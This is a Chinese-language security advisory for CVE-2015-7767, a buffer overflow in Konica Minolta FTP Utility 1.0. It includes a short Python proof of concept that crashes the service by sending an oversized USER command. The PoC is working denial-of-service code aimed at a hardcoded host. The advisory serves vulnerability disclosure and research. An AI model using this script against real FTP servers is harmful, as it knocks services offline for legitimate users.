Konica Minolta FTP Utility拒绝服务漏洞(CVE-2015-7767)
发布日期:2015-09-11
更新日期:2015-10-10
受影响系统:
描述:
CVE(CAN) ID: CVE-2015-7767
KONICA MINOLTA FTP Utility是KONICA MINOLTA复印机使用的一个软件,可以把扫描的软件直接传到电脑里面。
Konica Minolta FTP Utility 1.0在实现上存在缓冲区溢出漏洞,远程攻击者通过较长的USER命令,利用此漏洞可造成拒绝服务(应用崩溃)。
<*来源:Shankar Damodaran
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Shankar Damodaran ()提供了如下测试方法:
#!/usr/bin/python
# Exploit Title: Konica Minolta FTP Utility 1.0 Remote DoS PoC
# Date: 21-08-2015
# Exploit Author: Shankar Damodaran
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Microsoft Windows XP Professional SP3 English
import socket
# The ip address of the remote host
ftphost = '192.168.1.7'
# The port of the remote host
ftpport = 21
# Fuzzed packet of a certain length, Appending this to the USER command and requesting the remote ftp server denies requests for other legitimate users.
crafted_user_name= "B" * 450012 # DoS
# Establishing connection
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ftphost,ftpport))
s.recv(1024)
# Sending the evil input.
s.send('USER' + crafted_user_name +'\r\n')
# Once the packet has been sent, the DoS will occur on the remote FTP server. By sending an interrupt through (Ctrl+C), will resume the FTP server from DoS. (Note : The FTP server will not get crashed)
s.send('QUIT \r\n')
s.close()
# End of PoC - Shankar Damodaran
建议:
厂商补丁:
konicaminolta
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目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: